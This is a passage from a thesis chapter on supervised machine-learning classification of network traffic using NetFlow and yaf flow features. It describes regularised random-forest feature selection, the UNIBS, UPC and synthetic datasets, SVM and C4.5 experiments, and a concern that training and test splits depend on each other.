other datasets. The level of regularisation is controlled by a parameter so model
complexity can be tuned. Cross validation is used to choose the best parameter.
Decision trees can be regularised using a number of methods. The first is to
reduce the size of the tree by pruning. Branches which provide little improvement
in classification accuracy are pruned and replaced with a leaf node. A second
method is early stopping. Stopping rules are used to prevent the tree from
growing too complex during the learning phase. Examples include halting tree
growth at a maximum tree depth, when a minimum number of training samples
are observed at a node, or when a node exceeds a maximum purity level.
Another method for regularising trees is to limit which features can be used
at each node to find a splitting criterion. This is the approach taken by ran-
dom forests which only considers a random subset of features at each node. The
additional randomness produces a more diverse set of trees. So called “regu-
larized trees” add another constraint. They avoid selecting a new feature for
node splitting unless its information gain is significantly more than previously
used features [49]. Hence fewer features are chosen. Deng and Runger [49] used
this type of regularisation to reduce the number of redundant features selected
compared to using a normal random forest for feature selection. Regularised
trees therefore have a slightly modified version of the normal tree node splitting
process. Normally the feature Xi with the most information gain at node s,
gain(Xi, s) is chosen for the splitting criterion (equivalent to choosing maximum
entropy decrease ∆H(s)). The modification is to keep track of the indices of all
features F chosen at previous nodes in the tree, and then to add a penalty when
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Xi 6∈ F . For regularised trees, the information gain at node s is:
gainR(Xi, s) =
λ · gain(Xi, s), i 6∈ Fgain(Xi, s), i ∈ F (6.2)
where 0 ≤ λ ≤ 1 is the coefficient controlling the penalty level. The feature
Xi which maximises gainR(Xi) is then added to F . Hence a new feature is
only chosen if it provides significantly more gain (depending on λ) than existing
features.
For random forests, the least regularised subset, denoted RRF(1), is achieved
by setting λ = 1, thereby giving no penalty to new features. However, in that
case, a new feature will only be added if it has higher information gain than
other selected features. In general, a lower value for λ increases the regulari-
sation which leads to fewer selected features. RRF should result in the list F
containing a smaller set of non-redundant feature indices than obtained without
using regularised trees. When applied to a tree ensemble such as a random forest,
the list F includes all feature indices from previous splits including previously
built trees. A potential downside of updating the set of chosen feature indices F
during the model building process is that it inhibits parallelization.
Deng and Runger [50] showed that RRF can sometimes select a feature not
strongly relevant when a tree node contains few training instances but has many
features. Hence, to overcome this issue, they proposed an improved algorithm
called guided regularised random forests (GRRF) . The main difference is that
GRRF uses importance scores taken from a standard random forest to weight the
feature selection. Smaller penalties are applied to the more important features
so feature selection is biased in favour of those features. In a standard random
forest the importance score for a feature Xi is
Impi =
1
T
∑
s∈Sxi
gain(Xi, s) (6.3)
where T is the number of trees in the random forest, and Sxi is the set of nodes
where Xi was chosen for the splitting criterion. These importance scores are first
normalised to the range 0 ≤ Impi ≤ 1. Then, the penalty coefficient for each
feature λi is
λi = (1− γ)λ0 + γImpi (6.4)
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where λ0 controls the level of regularisation, and γ ∈ [0, 1] is the importance
coefficient. Then λi is used in place of λ in Equation 6.2 as the only change from
RRF to GRRF. The change ensures standard random forest feature importance is
taken into account. The output of GRRF is a subset of relevant, non-redundant
features. Therefore, we use GRRF as the feature selection algorithm in this
chapter. In comparison, a random forest can output an importance score for
each feature, but does not provide a feature subset.
6.3 Related Work
Recent traffic classification work has focussed on using metadata (such as packet
header statistics) to classify traffic. A number of review papers discuss these
approaches in detail and list ongoing challenges [42, 145, 72]. A major challenge
is measuring and comparing the effectiveness of published traffic classifiers due
to difficulties in obtaining accurate ground truth, difficulties in comparing results
from different networks, and differences in definitions of observations (flow, bi-
flow, host or service), classes (individual applications or application types), and
accuracy (percentage of correctly classified flows, packets or bytes).
Gringoli et al. [82] address the problem of obtaining accurate ground truth.
We rely on ground truth in our work to measure classification accuracy. Despite
DPI being considered the de-facto standard for traffic classification (and hence
often used for ground truth), it can have accuracies as low as 80% depending
on the mix of applications [23, 82]. DPI has poor coverage of encrypted flows.
Others have stated that obtaining accurate ground truth is a problem [28, 26].
Hence the authors developed a host-based tool called GT to associate network
traffic flows with the actual applications that generated them. Since GT is host-
based, it is in the privileged position to observe exactly which application is
responsible for network traffic involving that host. To create a ground truth
dataset, the authors ran GT on a number of hosts inside a university network
and captured all the GT information centrally. Simultaneously, a full packet
capture device collected traffic exiting the university network. The authors then
matched the collected traffic with the GT output to accurately label a portion
of the network traffic. The labelled traffic is available to other researchers and is
used as one dataset in this chapter (UNIBS dataset).
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6.3.1 Supervised Statistical Methods
Roughan et al. [165] wrote a seminal paper which classifies traffic as interactive,
bulk data, streaming or transactional with the aim of enabling QoS enforcement.
They build Linear Discriminant Analysis (LDA) and K-Nearest Neighbours (k-
NN) classifiers using features derived from packet headers such as average packet
size, inter-arrival times and flow duration.
Williams et al. [187] evaluate 7 different supervised machine learning (ML)
approaches on public datasets, using a set of 22 features extracted from packet
headers. They ground-truth the public datasets by assuming IANA ports are
valid for SMTP, HTTP, DNS, and FTP-data traffic. Adaboost C4.5 and C4.5
decision trees were found to achieve the best results. Carela-Espan˜ol et al. [28]
also used C4.5 decision trees to measure traffic classification accuracy on NetFlow
data, including sampled NetFlow.
Dusi et al. [60] use regression trees for traffic classification. The work was
extended to encrypted flows over IPSec by building statistical models for each
application on the encrypted link. Statistics calculated from encrypted traffic
include a probability mass function (PMF) of the packet size, and the maximum,
minimum, mean and standard deviation of the number of consecutive packets
and bytes sent in a single direction [61].
Kim et al. [104] tested seven machine learning algorithms on unidirectional
flows taken from backbone traffic traces from different geographic regions. They
found an SVM model achieved the highest accuracy with over 98% accuracy.
However, a model trained on one dataset and tested on another had much lower
accuracy. Hence they obtained training data from all available sites to train a
single SVM classifier which achieved over 94% accuracy across all their traces.
Correlation-based feature selection (CFS) was used to reduce the feature space
from 37 to between 6 and 10 depending on the trace. Features found to be con-
sistently useful were: ports, protocol, TCP flags, and packet size information.
Our work is inspired by this approach. The same authors produced an internet
traffic classification benchmark framework called NetraMark [117]. From Ne-
traMark we use crlpay to generate a reference set of statistical features from
pcap traffic capture. The framework includes 11 published classifiers including
7 common ML approaches, a payload approach crlpay, port-based Coral Reef,
graph-based BLINC and traffic dispersion graphs. Source code is provided for
some classifiers.
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Zhang et al. [200] use k-means to cluster flows. They use only 50 labelled
instances of each class for training since k-means does not scale well to large
training sets. Advantages of using such an approach are that it is non-parametric,
doesn’t suffer from overfitting, and naturally extends to more clusters (more
“unknown” classes of traffic). Classification is done on bags of flows (flows with
common IP protocol, destination IP and port values). They calculate the nearest
neighbour using average distance across all flows in the bag. Intuitively, all flows
in the bag should have the same traffic class since they all connect to the same
destination service.
Karagiannis et al. [100] use heuristics constructed from domain knowledge
to detect P2P traffic. Heuristics for P2P include finding IP address pairs which
have both TCP and UDP connections between them, and also identifying service
ports which have a similar number of distinct source IP addresses connecting to
them as distinct source ports. These heuristics could be turned into multi-flow
features for use with supervised ML.
Several papers concentrate on the practical computational performance as-
pects of traffic classification using supervised ML. To enable parallelism (and
additional classes) the multi-class problem can be turned into series of binary
class problems. Jin et al. [98] use linear binary Adaboost classifiers, while Este
et al. [68] use a series of one-class SVMs trained on the packet size of the first four
packets in each unidirectional flow. The classifiers run in real-time on commodity
hardware. Another classifier called SPID aims to achieve protocol identification
with low time complexity, and within the first few application packets of a flow
[89].
6.3.2 Unsupervised Statistical Methods
Zander et al. [196] use clustering to learn natural classes from the data. They use
a Bayesian classifier called autoclass on traffic features including packet inter-
arrival time (mean and variance), packet size (mean and variance), flow size and
duration. Xie et al. [189] aim to overcome issues with supervised traffic classifiers
such as training and bootstrapping being cumbersome, and having limited ability
to adapt. They apply subspace clustering on standard flow statistics to learn the
traffic profile of a single application at a time. This makes the classifier robust
to new applications.
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6.3.3 NetFlow Graph Methods
Karagiannis et al. [101] use standard NetFlow as input to their BLINC traffic
classification algorithm. To reach a final classification, they combine informa-
tion about how a host interacts with other hosts across multiple levels: social,
functional, and application. At the application level, activity for each host is
represented visually in a graph. Each node in the graph is a source port, des-
tination port, destination IP address, or IP protocol identified in the network
traffic of the host. Since a small graph is created for each unique source host,
the authors call them graphlets. The shape of the graphlet is representative of
the host’s most common behaviour. By having a library of labelled graphlets,
traffic for a host can be compared to the library to find the closest match. An
extension to BLINC uses an unsupervised approach to build new graphlets and
hence cope with new traffic classes [88].
Iliofotou et al. [94] use graph analysis and seed information (e.g. knowledge
of a small percentage of all hosts) to classify traffic flows. They find that some
applications form communities or clusters. Similarly, Iliofotou et al. [95] use
traffic dispersion graphs (TDG) —where graph nodes are IP addresses, and graph
edges are flows between them— to detect P2P applications. While the approach
currently uses payload information, the authors point out this is not necessary.
6.3.4 External Augmentation Methods
An alternative method for traffic classification is to use external information.
Trestian et al. [178] mine the web by performing Google searches and parsing
the results to identify the role of IP endpoints. The authors rely on a previous
result that “95% of traffic is targeted to 5% of destinations[161]. The implication
is that it is possible to accurately classify 95% of traffic by reverse-engineering
5% of endpoints”.
Foremski et al. [73] use passive DNS to associate IP addresses in NetFlow
with their domain name. They then use text analysis of the domain name to
classify a portion of the traffic with 99.2% accuracy. This approach enables
flow classification using only the first packet of the flow. A disadvantage is it
cannot be used for protocols such as P2P which lack precursor DNS lookups.
Classification is performed using an SVM classifier over vectorised version of the
domain name, destination port and protocol.
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6.3.5 Combination of Methods
Callado et al. [25] attempt to improve traffic classification by combining the out-
puts of multiple supervised ML classifiers using Dempster-Shafer and Maximum
Likelihood methods. Foremski et al. [74] propose a waterfall approach where
many small classifiers, each specialised to a small number of network protocols,
are applied to network traffic. The approach is modular in that it supports the
addition of new classifiers, without affecting existing classifiers.
6.4 Method for Feature Study
According to the literature, supervised machine learning classifiers in particu-
lar can achieve high accuracy (up to 98% on test datasets), using only traffic
metadata [104]. For this reason we also choose supervised machine learning.
We think further work in the field is still required to study how these classifiers
generalise. Ideally, such a classifier could be applied to multiple networks, and
for long timeframes, without requiring manual retraining. Training can be diffi-
cult due to problems with obtaining accurate ground truth labels. A generalised
classifier would reduce ongoing training requirements.
Further work could also investigate whether additional features can improve
classifier accuracy. Hence we aim to perform an extended study of the NetFlow
feature space for traffic classification. Features commonly used in existing statis-
tical traffic classifiers are included in the 37 features produced by crlpay [104].
However more flow features are available, e.g. the IANA IPFIX list has 457 in-
formation elements defined [93]. Our work investigates whether these, or other
additional flow and multi-flow features are useful for traffic classification.
The motivation for performing this study is twofold. Firstly, we want to
find an extended set of features from traffic metadata to support traffic anal-
ysis. Secondly, we want to improve statistical traffic classifier accuracy. Prior
work has shown that ML classifier accuracy is heavily dependent on the features
used [85]. More discriminative features are known to result in a more accurate
and generalised classifier. Previously, researchers have reported that individual
packet sizes, inter-arrival times and port numbers are very relevant to traffic
classification [165, 104, 196]. However, it has also been suggested that other
relevant features are yet to be found [72]. The additional features could either
be calculated as intra-flow statistics or multi-flow statistics.
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Zhang et al. [200] grouped flows by destination service to achieve traffic clas-
sification. In a similar way, we calculate multi-flow statistics with flows grouped
by edge (common source and destination IP) and by host (common source IP).
The study of flow features concentrates on layers 3 and 4 of the OSI model.
Layer 2 features are omitted as they are assumed to be irrelevant to the traf-
fic classes. Application layer features are also omitted because they are often
unavailable either due to encryption, or due to legal and privacy concerns, e.g.
application bytes are usually stripped from public datasets. Our work assumes
unidirectional flows so it is applicable to many networks.
The steps to generate an extended set of flow features are:
1. construct a reference feature set from previous research
2. generate additional single-flow statistics features using yaf
3. generate multi-flow statistics using automated feature engineering
The steps are described in more detail below. We then discuss the three
network traffic datasets used for testing in this chapter and how they were pre-
processed.
6.4.1 Step 1 - Reference Feature Set from Crlpay
Crlpay software has been used in several research papers [117, 104, 101]. It
classifies traffic by matching packet payloads to inbuilt signatures and is included
in the NetraMark framework as the ground-truth classifier for BLINC, Graption
and supervised ML approaches. While crlpay is used for ground truth on our
synthetic dataset, the main reason we use it is because it can produce traffic
statistics features from packet headers as listed in Table 6.2. These crlpay
features are our reference feature set.
To match crlpay output with that of complementary tools, a common flow
definition, time-out mechanism and timestamp granularity must be chosen. The
default crlpay expiry mode expires all flows every 5 minutes, regardless of
whether the flow has just started or not. Expiring individual flows which have
been inactive for 5 minutes is more standard, and hence we configured crlpay
to run in that mode.
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# Name Type Feature Description
1-8 standard NetFlow features uint64 srcport, dstport, protocol, packets,
bytes, starttime, endtime, duration
9-12 packet size uint64 max, min, average and standard
deviation in flow
13-16 packet inter-arrival time dou-
ble
max, min, average and standard
deviation in flow
17-26 packet sizes[10] uint64 size of the first 10 packets in flow
27-34 fin, syn, rst, push, ack, urg, ece,
cwr
uint64 count of TCP flags in flow
35 start with syn int flag whether the flow starts with a syn
packet
36-37 throughput int64 average packet and byte throughput
Table 6.2: Crlpay flow features (used for reference feature set)
6.4.2 Step 2 - Yaf Flow Statistics as Features
Yaf is GPL software used to generate flow records from network traffic. It was
written as a reference implementation of the IPFIX flow protocol, described in
Section 6.2.2. Yaf can be installed on dedicated hardware for scaling to high data
rates and to ensure complete NetFlow collection. In contrast, routers prioritise
packet transmission over generating flow records, potentially resulting in sampled
NetFlow. We use yaf to produce flow records from archives of network traffic
stored in pcap format.
For our study of features, yaf is configured to output as many appropriate
features as possible beyond the standard set listed in Table 6.1. The yaf option
“--flow-stats” produces 21 additional flow statistics features. Another option
“--entropy” for calculating the payload entropy was omitted because some of the
public datasets in our experiments have their payload stripped. Entropy has been
shown to discriminate different content types such as encryption, images or plain
text. Other options such as “--applabel” to perform application identification,
and “--plugin-name” for invoking deep packet inspection plugins were not used
due to their reliance on payload inspection. The output of yaf is in IPFIX binary
format. To convert the output to a text format suitable for ML frameworks the
simplest tool is yafscii. However yafscii cannot read information elements
(IEs) subTemplateList and subTemplateMultiList in which yaf stores the 21 flow
statistics features. These features are not defined in the standard IANA IPFIX
IE registry [93]. Tools which can read these private IPFIX fields include CERT
NetSA’s ipfixDump and super mediator6. When ipfixDump is run with the
6https://tools.netsa.cert.org/super mediator/docs.html
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“--yaf” option it prints all the available yaf CERT private enterprise IEs. While
this tool outputs the desired information, it is very verbose and would require
further processing to extract the fields of interest. Super mediator on the other
hand is a flexible tool for reading and writing IPFIX data. It can be configured
to output a specified set of fields in CSV format. The list of available fields
is published in its documentation7. We used super mediator to output the 49
features produced by yaf including flow statistics as shown in Tables 6.3 and
6.4. Note that our experiments only use unidirectional features, so we ignore all
“reverse” flow features.
# Name Type Rev Feature Description
1,2 dataByteCount uint64 Y total bytes transferred as
payload
3,4 averageInterarrivalTime uint64,
unsigned
Y average number of
milliseconds between packets
5,6 standardDeviationInter-
arrivalTime
uint64 Y standard deviation of the
inter-arrival time for up to
the first ten packets
7,8 tcpUrgTotalCount uint32 Y number of TCP packets that
have the URGENT Flag set
9,10 smallPacketCount uint32 Y number of packets that
contain less than 60 bytes of
payload
11,12 nonEmptyPacketCount uint32 Y number of packets that
contain at least 1 byte of
payload
13,14 largePacketCount uint32 Y number of packets that
contain at least 220 bytes of
payload
15,16 firstNonEmptyPacketSize uint16 Y payload length of the first
non-empty packet
17,18 maxPacketSize uint16 Y largest payload length
transferred in the flow
19,20 standardDeviationPay-
loadLength
uint16 Y standard deviation of the
payload length for up to the
first 10 non empty packets
21 firstEightNonEmptyPack-
etDirections
uint8 N represents directionality for
the first 8 non-empty packets.
0 for forward direction,1 for
reverse direction
Table 6.3: Yaf 21 flow-statistics features. “Rev=Y” indicates feature duplicated
for reverse flow.
7https://tools.netsa.cert.org/super mediator/super mediator.conf.html
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# Name Default Rev Feature Description
1-6 flowkey Y N key to identify a flow: sip, dip, sport,
dport, proto, hash
7 app Y N application label determined by yaf -
requires payload
8 duration Y N flow duration in fractional seconds
9,10 stime, etime Y N flow start and end time in milliseconds
11 rtt Y N round trip time estimate
12,13 pkts, rpkts Y Y number of packets in the flow
14,15 bytes, rbytes Y Y number of bytes in the flow
16,17 iflags,riflags Y Y initial TCP flags
18,19 uflags,ruflags Y Y union of the remaining TCP flags
20,21 attr,rattr N Y miscellaneous flow attributes in hex format
22,23 seq,rseq Y Y initial TCP sequence number
24,25 entropy,rentropy N Y Shannon-Fano payload entropy of flow -
requires payload
26 end Y N flow end reason
27,28 tos,rtos N Y type of service field from IP header
Table 6.4: Yaf 28 non-statistical features: “Default=Y” means the feature
is output in yafscii tabular mode. “Rev=Y” indicates feature duplicated for
reverse flow.
6.4.3 Step 3 - Automated Feature Engineering
Additional multi-flow features were generated using the automated feature en-
gineering framework described in Section 3.2. The framework was configured to
generate averages and standard deviations of numeric features across multiple
flows grouped by contextual features. Flows were grouped by edges (common
source IP and destination IP) and by host (common source IP). The statistics
for a sliding window of flows were appended as additional features for each flow.
Adding MCD features should improve individual flow traffic classification
accuracy by adding historical information. For example, one discriminator of
traffic class is “packet 3 size”. We can also create an MCD feature as “average
packet 3 size” calculated over a window of recent connections between the same
client and service, i.e. between the same two IP addresses. Then, if the next flow
between that client and service has an unusual “packet 3 size”, the classifier may
instead use the value of “average packet 3 size” feature to inform the classification
result. The approach assumes that multiple connections between the same client
and service are all the same application, making historical information relevant.
Given the large number of features produced by the library, with many fea-
tures likely to be irrelevant or redundant, feature selection was used to filter to
the most discriminative feature subset.
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6.4.4 Datasets
Three datasets were used in the experiments. These were chosen based on
whether they support replication of results, i.e. important factors were public
availability and ground truth traffic classes. The datasets were:
1. UNIBS dataset with GT ground truth labels
2. UPC labelled dataset
3. Synthetic dataset from a traffic generator
Basic information about each dataset is shown in Table 6.5, while the balance
of traffic classes in each dataset is shown in Table 6.6.
Name Labels Classes Flows Timespan Format
UNIBS GT 6 106,271 3 days Pcap
UPC L7-filter 11 35,224,332 seven 15-60 minute samples NetFlow
Synth crlpay 10 389,770 8.8 minutes Pcap
Table 6.5: Summary of traffic classification datasets.
We chose traffic class names to match other literature: Web, P2P, FTP, DNS,
Mail/News, Streaming, Network Operations, encryption, games, chat, attack and
unknown [104]. We also added a traffic class “voip” as distinct from text-based
“chat”.
web p2p ftp dns mail strm net crypt game chat unkn voip
UNIBS 45.3 24.1 - - 5.0 - 0.0 0.7 - 24.9 - -
UPC 10.1 32.4 0.0 14.5 0.8 0.1 4.1 - 0.2 0.4 0.0 37.4
Synth 8.1 0.2 4.3 28.3 5.4 3.5 10.7 0.5 - 4.7 34.5 -
Table 6.6: Percentage of flows in each dataset belonging to each traffic class.
Traffic class “strm” is “Streaming”, “net” is “Network Operations”, and “unkn”
is “unknown”. Class “attack” is omitted since it was zero in all datasets.
UNIBS Dataset
The University of Brescia (UNIBS) dataset is publicly available and is labelled
with application names. The dataset was created to assess a traffic classification
ground truth tool called GT [82]. GT is discussed in Section 6.3. The UNIBS
6.4. Method for Feature Study 183
dataset consists of network traffic stored in pcap files, and an associated text file
of application ground truth created by GT. To preserve privacy, IP addresses
in the dataset are anonymized and the layer 4 traffic payload is stripped. The
public datasets are 2.56GB in pcap size, consist of 205,000 flows, and span three
full days of collection.
To process the UNIBS pcap files into a reference feature set we used crlpay,
producing the features shown in Table 6.2. The feature set was labelled with
ground truth from the text file by matching timestamps, IP addresses and ports.
Ground truth labels are the actual application name responsible for the flow,
such as a particular web browser. These application names were translated to
one of the twelve classes shown in Table 6.6.
Of the 205,042 flows in the UNIBS dataset, only 106,271 had matching ground
truth labels. Labels were not propagated to the return flow, hence explaining
why only approximately half the flows are labelled. The labelled flows were
all initiated by 19 distinct IP addresses within the anonymized 245.234.7.0/24
subnet. We assume these were the hosts with GT installed on them. Only
labelled flows were used for the remainder of the experiment.
UPC Dataset
The UPC dataset is labelled unidirectional NetFlow produced from traffic cap-
tured at a university network uplink in 2008/9 [28, 59]. It consists of seven files,
UPCI to UPCVII, each corresponding to a 15 minute or 1 hour traffic capture.
Ground truth labels were produced by an L7-filter DPI tool on the captured
traffic. Some application labels were very rare, e.g. the game “World of War-
craft” was only present in four flows. To reduce the data imbalance caused by
rare labels, we replaced the application labels with traffic classes, e.g. all gam-
ing applications were giving the traffic class “gaming”. The chosen traffic class
labels are defined in the L7-filter documentation such as HTTP, network or
streaming.
We also modified the datasets by augmenting them with two derived fea-
tures average inter-arrival time = duration/packets, and average packet size =
bytes/packets.
In their paper, a C4.5 decision tree traffic classifier achieved 90.6% flow ac-
curacy and 60.3% byte accuracy when trained on one UPC file and tested on the
remaining six. The byte accuracy was significantly lower than flow accuracy due
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to a small number (0.1%) of flows accounting for 50% of the bytes transferred.
Since there are so many small flows and so few large flows, the training is bi-
ased to predict small flows accurately over larger flows. Our experiments only
measure flow accuracy.
We repeated some of their experiments using this dataset. After training on
the UPCII dataset, and testing on all the datasets, the C4.5 classifier achieved
92.00% accuracy, 1.4% higher than the original paper. The small difference may
be due to an implementation difference such as different mappings of protocols to
traffic classes (groups), e.g. we mapped SSL to the HTTP class but the original
paper did not specify a mapping8.
It is not possible to run yaf on this dataset to produce additional statistical
features. Yaf requires access to all packet headers, however the UPC dataset only
contains flow summaries. Another difficulty encountered was the IP addresses in
each UPC file being anonymized separately. Hence, it was not possible to ensure
training and test datasets taken from multiple UPC files contain independent
sets of IP addresses. Instead, the remainder of our work using the UPC dataset
applies the ML process to each UPC file separately (half the file for training/CV
and the other half for testing), with the results averaged. We added more fea-
tures to the dataset through automated feature construction, and measured any
improvement in traffic classification accuracy. In all cases, the IP addresses were
stripped from the datasets prior to ML.
Simulated Traffic Dataset
We used a commercial traffic generator to produce an “Enterprise” mix of layer
7 application traffic. The generated traffic was captured in pcap format with full
payload. The result was a 477MB pcap file containing 389,770 flows. The deep
packet inspection tool crlpay was used to label the dataset with ground truth
traffic classes.
6.4.5 Dataset Preprocessing
The datasets were first processed to transform network traffic into feature vec-
tors. The aim was to create multiple feature sets so that traffic classification
8Current L7-filter mappings of protocols names to groups is defined at http://l7-
filter.sourceforge.net/protocols
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performance could be compared between a small feature set versus larger fea-
ture sets. Firstly, crlpay was used to generate a “reference” feature set. Added
to the set were statistical flow features generated by yaf to create the “yaf”
feature set. Lastly, multi-flow statistics generated by the automatic feature con-
struction library were added to create the “multi-flow” feature set. The method
for running these tools is described in Sections 6.4.1, 6.4.2 and 6.4.3.
Further feature preprocessing removed all features related to the reverse flow
because we are building a classifier for unidirectional flows. Irrelevant features
such as absolute flow start and end times and identification fields were also re-
moved. Since SVMs only support numeric features, a number of features required
conversion to integers: TCP sequence, IP protocol, TCP flags, first eight packet
directions, IP type of service, and flow end reason.
When merging the output from multiple tools (e.g. crlpay and yaf), the
small number of flows which were output by one tool but not the other (due to
implementation differences) were discarded. Next, traffic classes with less than
10 member flows were removed since they could not fully represent the class.
Flows labelled “unknown” were also removed.
Other preprocessing steps such as splitting datasets and feature selection were
performed during ML as described below.
6.5 Experiments
The experiments aim to measure the effectiveness of the candidate traffic meta-
data features for traffic classification. The experiments are performed on multiple
datasets to look for consistent results. The following section describes the exper-
iments and results.
6.5.1 Standard Traffic Classification
As described in Section 6.4.5, datasets from 3 networks were used: UNIBS,
UPC and a synthetic network. For each network three feature sets were created
with increasing feature counts: the reference, yaf, and multi-flow feature sets.
Supervised machine learning traffic classifiers were trained and tested on each
feature set from each network. Our hypothesis for this experiment is:
Hypothesis 1: classifiers using an extended set of features, such
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as the multi-flow feature set, should obtain higher accuracy (higher
fscore) than those using the smaller reference set of features.
Method
Both support vector machines (SVM) and decision trees (C4.5 algorithm) are
used in the experiment since they have been shown to provide accurate traffic
classification results [104, 187]. Another reason for choosing decision trees is they
can be interpreted manually, c.f. black box techniques such as artificial neural
networks.
The following ML process was scripted:
1. Split the dataset: after the completion of feature engineering, randomise
the flow order in the dataset, and then use the first half of the dataset for
training/cross validation (CV), and the second half for testing.
2. Train: first use guided regularised random forest (GRRF) feature selec-
tion to reduce the number of features in the datasets (after removing IP
addresses). Then train both C4.5 and SVM models on the reduced train-
ing/CV dataset. Two-fold cross-validation (quicker than ten-fold) and a
grid search of model parameters was performed. For SVM with a radial
basis function (RBF) kernel and data normalisation enabled, a model was
created for each combination of kernel parameter “gamma” and the regu-
larisation parameter “C”. Values used were: gamma 0.1, 1.0, 10; and C 1,
10, 100, generating 9 models. For C4.5, a model is created for each value of
the parameter “minimum number of instances per leaf”. Values used were
2, 4, 8, 16 to make 4 models. Cross-validation fscore results were used to
choose the best model parameters from the grid search. A new model was
then trained on the whole training/CV set (c.f. 2-fold CV which trained
on only half) using the best model parameters.
3. Test: the new model was then applied to the test dataset, with the fscore
results reported in Table 6.7.
To reduce the chance of a particular random split of the dataset biasing the
results, the whole ML process was repeated 5 times on each feature set and the
results averaged.
GRRF feature selection was performed in R using the RRF library [48]. It
produced between 6 and 19 relevant features, which are discussed in Section
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6.5.3. This is a significant reduction from over 300 features in the mutli-flow
feature set.
To automate the ML process it was scripted and command-line Weka was
used for training, CV and testing the C4.5 and libSVM models. C4.5 took only
minutes to train each model, but libSVM took hours when there were more than
100,000 training instances. Many models were built (180 for C4.5 and 405 for
SVM) because there are 3 datasets, each having 3 feature sets, each with 5 ran-
dom splits of training data, and each requiring a grid search of model parameters
(9 for SVM and 4 for C4.5). To reduce the runtime of some experiments, the
libSVM training data was subsampled only for the large UPC dataset. Weka’s
SpreadSample algorithm was used in that case to reduce the number of flows
while maintaining enough samples in each traffic class.
Reference features Yaf Flow Statistics Multi-flow
Dataset SVM C4.5 SVM C4.5 SVM C4.5
UNIBS 0.978±0.003 0.986±0.001 0.978±0.008 0.989±0.002 0.967±0.004 0.987±0.001
UPC 0.730±0.017 0.944±0.005 - - 0.802±0.008 0.945±0.003
Synth 0.931±0.002 0.993±0.001 0.938±0.003 0.992±0.001 0.918±0.007 0.986±0.001
Table 6.7: Summary of traffic classification fscore results - datasets split
randomly. Highest fscore per dataset is marked in bold.
Results are reported as an fscore:
fscore = 2 · precision · recall
precision+ recall
The fscore is therefore a weighted average of precision and recall, with the
result ranging from 0 to 1 (optimum value). Fscores are preferred over simple
accuracy measures because they take into account both false positives and false
negatives. In this experiment the fscore is calculated from the traffic classifier’s
predicted class for each flow versus ground truth. The average and standard
deviation of the fscore over the 5 random splits of data are reported as the final
fscore.
Results
The results are shown in Table 6.7. These high fscores are consistent with
previous research [104, 28]. C4.5 decision tree results were generally higher than
SVM results. The high fscore was reasonably consistent across classes as shown
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in Table 6.8. Classes streaming and chat had lower fscores, while the DNS class
had the highest fscore.
a b c d e f g h i j k ← classified as
254672 513 23642 473 22 58 0 16 7 3 4 a = p2p
334 101005 3677 18 44 0 0 2 7 0 1 b = web
9963 6866 306478 673 21 80 1 929 119 6 11 c = voip
270 102 963 13240 2 11 0 2 0 2 0 d = netops
71 113 280 2 208 0 0 0 1 0 0 e = streaming
15 1 15 0 0 127115 0 0 0 0 0 f = dns
0 0 4 0 0 0 0 0 0 0 0 g = others
50 8 256 19 0 5 0 2270 0 0 0 h = chat
1 17 49 0 0 0 0 0 4403 0 0 i = email
2 0 0 0 0 0 0 0 0 73 0 j = ftp
5 0 29 2 0 0 0 0 0 0 572 k = games
Table 6.8: Confusion matrix of traffic classification results - datasets split ran-
domly. Single test result for UPC dataset using Multi-flow features.
Unfortunately, adding yaf and multi-flow features did not improve the fscore.
Hence the results of the experiment do not back the hypothesis that an extended
set of traffic metadata features improves traffic classification accuracy. Since
these results did not match our expectations, we investigated further.
The first investigation was of the relatively low SVM results on the UPC
dataset. They were caused by training on only a sample of the training dataset
to reduce the compute time. When SVMs were trained on the whole training
set (e.g. for the UNIBS dataset), their fscore became comparable to the C4.5
fscore – although still slightly lower.
Next we investigated whether the models are overfitted to the training set.
For decision trees, all grid searches of the model parameter “minimum instances
per leaf” returned 2, the same as the algorithm’s default value. Using value 2
resulted in large models which increased in size for larger training sets, e.g. the
decision tree models for UNIBS data had an average size of 446 nodes. One tree
chosen at random had 200 training instances on average assigned to each leaf
node. However more than half those leaves had less than 10 training instances.
Hence half the tree is supported by very few training instances. The chosen
model parameter and complexity of the tree are indicative of overfitting.
For the SVM models, the grid search always resulted in kernel parameter
gamma 10 and regularisation parameter C either 10 or 100. However, default
values are gamma = 1/numfeatures and C = 1. The chosen high value for
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C increases the cost for misclassified training examples, and hence can lead to
overfitting. The gamma parameter for the RBF kernel is inversely proportional
to the width of the Gaussian at each support vector. The chosen gamma value is
therefore more than 100 times larger than the default, making a thinner Gaussian
which can lead to overfitting. Hence, the chosen model parameters for the SVM
model are also indicative of overfitting.
The possibly overfit models still mostly achieve very high fscores on the
test datasets. This is unexpected as an overfit model should get a lower fscore
on the hold out test dataset compared to the training and CV fscores. In this
experiment the training, CV and test fscores are all very similar. For brevity,
training and CV fscores are excluded from Table 6.7. However to illustrate the
point, the fscores for the UNIBS reference feature set are: training 0.991±0.001,
CV 0.984±0.001 and test in between at 0.986±0.001. Next we investigate how
the model could have achieved good test results even though we suspect the
models are overfitted.
6.5.2 Traffic Classification on Independent Datasets
To obtain traffic classification results to match those expected on a real-world net-
work, we now repeat the experiments using a different training and test method.
Hypothesis 2: Optimistically high traffic classification test results
are achieved in our experiments even with overfitted models because
there are dependencies between the training and test dataset.
Dependencies between training and test datasets can exist even when the
standard ML process is followed including the use of a holdout (test) dataset.
The problem is the holdout data is from the same network and from the same
time period as the training and cross validation data. The training, CV and test
datasets were all created as random splits of this data. Since the datasets are
correlated in time and IP space, they have dependencies, thereby increasing the
chance of identical flows being observed in all datasets. The correlations make
models fitted to the training set likely to match the test set, even if the model
has not generalised the concept to be learnt. We propose eliminating some of
these dependencies by ensuring the training and test datasets involve different
hosts. Using this method means traffic classification accuracy is evaluated on
previously unseen traffic, and hence should produce a more realistic test fscore.
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We now describe how some dependencies are removed between the training
and test datasets, and then re-run the experiments to test our hypothesis.
New Method
A common assumption in statistics is that observations are independent and
identically distributed (IID). In machine learning there is a similar assumption
of independence between observations in the training, cross validation and test
datasets [76, 135]. In practice, datasets for traffic classifiers may not be inde-
pendent due to correlations spatially (e.g. same hosts and same network), or
temporally (similar time frame). Some researchers have minimised this correla-
tion by selecting training data from geographically separated networks and over
multiple time frames [120]. However, when this is not done the independence
assumption may be broken, and hence test results may not be a true indication
of real-world performance.
To remove some dependencies between datasets we propose simply ensuring
the training, cross-validation and test datasets contain distinct sets of source IP
addresses. Given a set of traffic flows, rather than assigning individual flows
randomly to datasets, we first group the flows by source IP address and then
assign whole groups of flows to the three ML datasets randomly.
